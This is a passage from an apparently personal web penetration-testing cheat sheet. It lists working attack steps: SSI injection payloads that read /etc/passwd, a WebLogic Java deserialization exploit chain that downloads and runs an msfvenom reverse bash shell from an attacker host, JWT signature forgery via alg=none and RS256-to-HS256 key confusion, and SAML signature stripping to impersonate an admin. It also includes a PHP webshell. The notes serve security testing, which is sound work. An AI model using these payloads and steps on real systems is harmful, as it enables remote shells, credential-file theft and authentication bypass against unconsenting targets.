If the previous payload worked, try something like this: <!--#printenv -->

This will output environment variables on the system.

Go for the gold: <!--#exec cmd="cat /etc/passwd"-->

I think it's pretty obvious what's happening in this one.

There is a great list of payloads that you can play around with here.

It is also worth testing the vulnerable parameter for XSS as well.

Clickjacking

Just use Burp's clickbandit. Also remember: Clickjacking is for clicks, not for keyboard.

Quick and dirty test script

<html>
   <head>
     <title>Clickjack test page</title>
   </head>
   <body>
     <p>Website is vulnerable to clickjacking!</p>
     <iframe src="http://target.com" width="500" height="500"></iframe>
   </body>
</html>

Resources:
https://www.owasp.org/index.php/Testing_for_Clickjacking_(OTG-CLIENT-009)
https://javascript.info/clickjacking
https://www.tinfoilsecurity.com/blog/what-is-clickjacking

Attacking JSON with Burp

Evidently at this point in time (5/2018), Burp's scanner is not doing as well with testing json parameters for SQLi and RCE. Be sure to set custom injection points by sending a potentially vulnerable request to intruder, marking the parameters, right clicking, and clicking Actively scan defined insertion points from the dropdown.

Resource:
https://www.coalfire.com/Solutions/Coalfire-Labs/The-Coalfire-LABS-Blog/may-2018/the-right-way-to-test-json-parameters-with-burp

Deserialization Vulnerabilities

Writeup on Oracle Weblogic CVE-2018-2628
Java Deserialization Scanner Burp Extension
Java Serialized Payloads Burp Extension

Other write-ups

https://securitycafe.ro/2017/11/03/tricking-java-serialization-for-a-treat/
https://www.coalfire.com/The-Coalfire-Blog/Sept-2018/Exploiting-Blind-Java-Deserialization

Tools:

Ysoserial

Oracle WebLogic Java Object RMI Connect-Back Deserialization RCE (January 2017 CPU)

Out of band test

  1. Start a listener:
python -m http.server 4000
  1. Specify the command to run on the JRMPListener host:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 4040 CommonsCollections5 'curl http://<system with listener>:4000/'
  1. Run the exploit:
python2 deserialize_exploit.py -t <vulnerable system ip> -p <vulnerable system port> --jip <system with listener> --jport 4040 --ysopath ysoserial.jar --cmd ""

Get a shell

  1. Generate a payload with msfvenom:
msfvenom -p cmd/unix/reverse_bash LHOST=<attacker system> LPORT=4444 -f raw > shell.sh
  1. Start a listener:
python -m http.server 4000
  1. Specify the command to download the reverse shell on the JRMPListener host:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 4040 CommonsCollections5 'curl -o /tmp/shell.sh http://<attacker system>:4000/shell.sh'
  1. Start a netcat listener for the reverse connection:
nc -lvnp 4444
  1. Run the exploit:
python2 deserialize_exploit.py -t <vulnerable system ip> -p <vulnerable system port> --jip <attacker system> --jport 4040 --ysopath ysoserial.jar --cmd ""
  1. Run the JRMPListener again to run the reverse shell that we downloaded in the previous step:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 4040 CommonsCollections5 'sh /tmp/shell.sh'
  1. Profit

Use autorize to find authorization issues

  1. Login to the target application as a low privileged user, go to authorize tab in burp - autorize should be off
  2. Click Configuration
  3. Click Fetch cookies from last request
  4. Open incognito window
  5. Login as high privileged user
  6. Click Autorize is off to turn it on
  7. Go to areas of site that are admin only
  8. Look for orange/green in the columns

Test insecure JWT implementation

Change algorithm to none

  1. Capture a request with the bearer token, for example:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU1NDkzNjEwNSwiZXhwIjoxNTU0OTM2MjI1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.CUJeDfpJCBD-RKCkGe6q5U2byv0rkxZnRhvPwyFYglg
  1. Base64 decode the first section of the token (everything before the first .) with Burp Decoder:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 =>
{"typ":"JWT","alg":"HS256"}
  1. Change "alg":"HS256" to "alg":"none" and Base64 encode it:
{"typ":"JWT","alg":"none"} =>
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=
  1. Replace the first section of the token with it and remove the last part of the token (the signature), but leave the period at the end:
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU1NDkzNjEwNSwiZXhwIjoxNTU0OTM2MjI1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.

Awesome demo site for testing purposes

Change algorithm from RS256 to HS256

  1. Get the public cert from the target server:
openssl s_client -connect www.google.com:443 2>/dev/null </dev/null |  sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > cert.pem
  1. Turn it into the public key:
openssl x509 -in cert.pem -pubkey -noout > public.pem

One-liner alternative:

openssl s_client -connect www.google.com:443 | openssl x509 -pubkey -noout > public.pem
  1. Turn it into ASCII hex:
cat public.pem | xxd -p | tr -d "\\n" > hex.txt
  1. Get a JWT token, for example:
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU1NDk0MTE5NywiZXhwIjoxNTU0OTQxMzE3LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.OQq0VqiYsSxTzTSFEnwVVW0eRbrkeEW5VnsGYDLQ5BXMAKfTGbXxL00s07JvLDhWJsSuKyOwkWOh1evUSBikZ97zQgqqYvECv26FyhxGKnzXIWK5Efg8H0lsmy7HJ-YQJDbhRkZLJ6G5DPW5bCxjzRFcvzqtMmiAM0B3zMiSXOMSMJ_NtmVe1WtM7lQD38a2uDfOtuFSn5e0D2RgFJa2lOP2d1oFGchJqDM9IbkAZSzAlHx0tftR2DqV-N3VlD0UiAWygVfWQukOiGPa5ms0pz886B4hFP1xmBeNK49y1SLhQ7yw2VozFhte6mvQFbPTXHqFxCqB8MG0fn0LkqtHXg
  1. Take the first section and change it from RS256 to HS256:
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9 =>
{"typ":"JWT","alg":"RS256"} =>
{"typ":"JWT","alg":"HS256"} =>
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
  1. Use the hex in hex.txt for the signing operation with the first two parts of the token (without the period at the end):
echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU1NDk0MTE5NywiZXhwIjoxNTU0OTQxMzE3LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541716938546e75514247584f47782f4c666e344a460a4e594f4832563171656d6673383373745763315a4251464351415a6d55722f736762507970597a7932323970466c3662476571706952487253756648756737630a314c4379616c795545502b4f7a65716245685353755573732f5879667a79624975736271494445514a2b5965783343646777432f68414633787074562f32742b0a48367930476468317765564b524d382b5161655755784d474f677a4a59416c55635241503564526b454f5574534b4842464f466845774e425872664c643736660a5a58504e67794e30547a4e4c516a50514f792f744a2f5646713843514745342f4b35456c5253446c6a346b7377786f6e575859415556786e71524e314c4748770a32473551524532443133734b484343385a725a584a7a6a36374872713568325341444b7a567a684138415733575a6c504c726c46543374312b695a366d2b61460a4b774944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a

This outputs the HMAC signature:

076be5cb34056468b78a2c27194516912f5346201e9dd674ae97b1fb04058a4e
  1. Take the output and turn it into JWT format with python:
python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('076be5cb34056468b78a2c27194516912f5346201e9dd674ae97b1fb04058a4e')).replace('=','')\")"

This will output something like this:

B2vlyzQFZGi3iiwnGUUWkS9TRiAendZ0rpex-wQFik4
  1. Take the output and put it in for the signature (the last section of the token):
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU1NDk0MTE5NywiZXhwIjoxNTU0OTQxMzE3LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.B2vlyzQFZGi3iiwnGUUWkS9TRiAendZ0rpex-wQFik4

Awesome demo site for testing purposes

Resources:
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through/
https://stackoverflow.com/questions/7885785/using-openssl-to-get-the-certificate-from-a-server

Note that when you're modifying the base64 string, you need to add padding (=) in order to get the correct string representation. It is worth noting that this is not required by RFC 7515.

This is a cheatsheet that covers the various things that should be tested when looking at a site that uses JWT: https://assets.pentesterlab.com/jwt_security_cheatsheet/jwt_security_cheatsheet.pdf

Useful resources:
Great site with a demo page: https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/
Debug jwt tokens: https://jwt.io/
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/JSON_Web_Token_Cheat_Sheet_for_Java.md

Useful writeups:
https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html
https://medium.com/@0xSyndr0me/h1702-2018-web-challenge-write-up-4aea52d31807
https://gist.github.com/amalmurali47/8cf251f75db282376c8f58c27d7d900a

LFI

Bug bounty write-ups:

https://hack-ed.net/2017/11/05/finally-a-bug-bounty-write-up-lfi/

Subdomain Takeover

https://0xpatrik.com/subdomain-takeover-starbucks/
https://medium.com/@hakluke/how-to-setup-an-automated-sub-domain-takeover-scanner-for-all-bug-bounty-programs-in-5-minutes-3562eb621db3

Existing Cheatsheets and Resources

This details all of the steps from recon to exploitation. Definitely worth checking out:
https://jdow.io/blog/2018/03/18/web-application-penetration-testing-methodology/
Another great one:
https://danielmiessler.com/projects/webappsec_testing_resources/
Some awesome bug hunting findings:
https://www.youtube.com/watch?v=mQjTgDuLsp4

Good resources for developers

These are some sites that you can send to developers that are trying to understand web application security fundamentals.

https://medium.freecodecamp.org/a-quick-introduction-to-web-security-f90beaf4dd41

SAML Attacks

Changing the user

  1. Intercept a request with the SAMLResponse
  2. Locate the <NameID[stuff]</NameID> tag
  3. Modify the <NameID[stuff]</NameID> tag to another user with the help of the SAML Raider Burp Extension. For example, user@site.com to admin@site.com
  4. Forward it on

Stripping the signature and changing the user

  1. Intercept a request with the SAMLResponse
  2. Locate the <NameID[stuff]</NameID> tag
  3. Modify the <NameID[stuff]</NameID> tag to another user with the help of the SAML Raider Burp Extension. For example, user@site.com to admin@site.com
  4. Locate the ds:SignatureValue[stuff]</ds:SignatureValue>
  5. Remove the contents in-between these two strings
  6. Forward it on

Basic PHP Webshell

webshell.php:

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

SAST Scripts

Find deserialization vulns in java-based repo:

find . -name "*.java" -print -exec grep -E "XMLdecoder|XStream|ObjectInputStream|Serializable" {} \; | tee prodsec/serializable.txt